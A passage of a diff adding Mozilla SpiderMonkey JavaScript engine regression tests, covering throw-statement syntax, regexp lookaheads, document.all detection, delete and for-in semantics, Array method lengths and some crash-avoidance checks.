+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// should fail with syntax error. won't run in browser...
+var BUGNUMBER = 256617;
+var summary = 'throw statement: eol should not be allowed';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'syntax error';
+
+try
+{
+ eval('throw\n1;');
+ actual = 'throw ignored';
+}
+catch(e)
+{
+ if (e instanceof SyntaxError)
+ {
+ actual = 'syntax error';
+ }
+ else
+ {
+ actual = 'no error';
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-256798.js b/js/src/tests/non262/regress/regress-256798.js
new file mode 100644
index 0000000000..3926c40eb1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-256798.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 256798;
+var summary = 'regexp zero-width positive lookahead';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+
+status = summary + ' ' + inSection(1);
+expect = 'aaaa,a';
+actual = /(?:(a)+)/.exec("baaaa") + '';
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2);
+expect = ',aaa';
+actual = /(?=(a+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3);
+expect = 'b,aaa';
+actual = /b(?=(a+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
+
+// XXXbc revisit this
+status = summary + ' ' + inSection(4);
+expect = 'null';
+actual = /b(?=(b+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-259935.js b/js/src/tests/non262/regress/regress-259935.js
new file mode 100644
index 0000000000..174ba37f44
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-259935.js
@@ -0,0 +1,42 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 259935;
+var summary = 'document.all can be easily detected';
+var actual = '';
+var expect = 'not detected';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ document = {};
+}
+
+function foo() {
+ this.ie = document.all;
+}
+
+var f = new foo();
+
+if (f.ie) {
+ actual = 'detected';
+} else {
+ actual = 'not detected';
+}
+
+reportCompare(expect, actual, summary);
+
+f = {ie: document.all};
+
+if (f.ie) {
+ actual = 'detected';
+} else {
+ actual = 'not detected';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-260541.js b/js/src/tests/non262/regress/regress-260541.js
new file mode 100644
index 0000000000..fc696ba253
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-260541.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// have not been able to reproduce the crash in any build.
+var BUGNUMBER = 260541;
+var summary = 'Recursive Error object should not crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var myErr = new Error( "Error Text" );
+myErr.name = myErr;
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-261886.js b/js/src/tests/non262/regress/regress-261886.js
new file mode 100644
index 0000000000..45fbf27e6a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-261886.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 261886;
+var summary = 'Always evaluate delete operand expression';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {a:1};
+
+expect = 2;
+try
+{
+ delete ++o.a;
+ actual = o.a;
+}
+catch(e)
+{
+ actual = o.a;
+ summary += ' ' + e;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-261887.js b/js/src/tests/non262/regress/regress-261887.js
new file mode 100644
index 0000000000..f0b4a68981
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-261887.js
@@ -0,0 +1,36 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from Oscar Fogelberg <osfo@home.se>
+var BUGNUMBER = 261887;
+var summary = 'deleted properties should not be visited by for in';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var count = 0;
+var result = "";
+var value = "";
+
+var t = new Object();
+t.one = "one";
+t.two = "two";
+t.three = "three";
+t.four = "four";
+
+for (var prop in t) {
+ if (count==1) delete(t.three);
+ count++;
+ value = value + t[prop];
+ result = result + prop;
+}
+
+expect = 'onetwofour:onetwofour';
+actual = value + ':' + result;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-271716-n.js b/js/src/tests/non262/regress/regress-271716-n.js
new file mode 100644
index 0000000000..f936d3081b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-271716-n.js
@@ -0,0 +1,27 @@
+// |reftest| skip -- never terminates
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 271716;
+var summary = 'Don\'t Crash on infinite loop creating new Arrays';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ a = new Array();
+ while (1) a = new Array(a);
+ actual = 'No Crash';
+}
+catch(e)
+{
+ actual = 'No Crash';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-274035.js b/js/src/tests/non262/regress/regress-274035.js
new file mode 100644
index 0000000000..00fcb1a04c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-274035.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274035;
+var summary = 'Array.prototype[concat|slice|splice] lengths';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' Array.prototype.concat.length ';
+expect = 1;
+actual = Array.prototype.concat.length;
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' Array.prototype.slice.length ';
+expect = 2;
+actual = Array.prototype.slice.length;
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' Array.prototype.splice.length ';
+expect = 2;
+actual = Array.prototype.splice.length;
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/non262/regress/regress-274888.js b/js/src/tests/non262/regress/regress-274888.js
new file mode 100644
index 0000000000..568c1becfd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-274888.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274888;
+var summary = 'Negative lookahead should match at positions > approx. 64k';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re;
+var status;
+var s;
+
+re = /(?!\d)a/;
+status = summary + ' ' + inSection(1) + ' /(?!\\d)a/.text("12345a")';
+s = '12345a';
+
+expect = true;
+actual = re.test(s);
+
+reportCompare(expect, actual, status);
+
+re = /(?!\d)a/;
+status = summary + ' ' + inSection(2) + ' ' + '/(?!\\d)a/.text("1...ka")';
+s = '12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316731773187319732073217322732373247325732673277328732973307331733273337334733573367337733873397340734173427343734473457346734773487349735073517352735373547355735673577358735973607361736273637364736573667367736873697370737173727373737473757376737773787379738073817382738373847385738673877388738973907391739273937394739573967397739873997400740174027403740474057406740774087409741074117412741374147415741674177418741974207421742274237424742574267427742874297430743174327433743474357436743774387439744074417442744374447445744674477448744974507451745274537454745574567457745874597460746174627463746474657466746774687469747074717472747374747475747674777478747974807481748274837484748574867487748874897490749174927493749474957496749774987499750075017502750375047505750675077508750975107511751275137514751575167517751875197520752175227523752475257526752775287529753075317532753375347535753675377538753975407541754275437544754575467547754875497550755175527553755475557556755775587559756075617562756375647565756675677568756975707571757275737574757575767577757875797580758175827583758475857586758775887589759075917592759375947595759675977598759976007601760276037604760576067607760876097610761176127613761476157616761776187619762076217622762376247625762676277628762976307631763276337634763576367637763876397640764176427643764476457646764776487649765076517652765376547655765676577658765976607661766276637664766576667667766876697670767176727673767476757676767776787679768076817682768376847685768676877688768976907691769276937694769576967697769876997700770177027703770477057706770777087709771077117712771377147715771677177718771977207721772277237724772577267727772877297730773177327733773477357736773777387739774077417742774377447745774677477748774977507751775277537754775577567757775877597760776177627763776477657766776777687769777077717772777377747775777677777778777977807781778277837784778577867787778877897790779177927793779477957796779777987799780078017802780378047805780678077808780978107811781278137814781578167817781878197820782178227823782478257826782778287829783078317832783378347835783678377838783978407841784278437844784578467847784878497850785178527853785478557856785778587859786078617862786378647865786678677868786978707871787278737874787578767877787878797880788178827883788478857886788778887889789078917892789378947895789678977898789979007901790279037904790579067907790879097910791179127913791479157916791779187919792079217922792379247925792679277928792979307931793279337934793579367937793879397940794179427943794479457946794779487949795079517952795379547955795679577958795979607961796279637964796579667967796879697970797179727973797479757976797779787979798079817982798379847985798679877988798979907991799279937994799579967997799879998000800180028003800480058006800780088009801080118012801380148015801680178018801980208021802280238024802580268027802880298030803180328033803480358036803780388039804080418042804380448045804680478048804980508051805280538054805580568057805880598060806180628063806480658066806780688069807080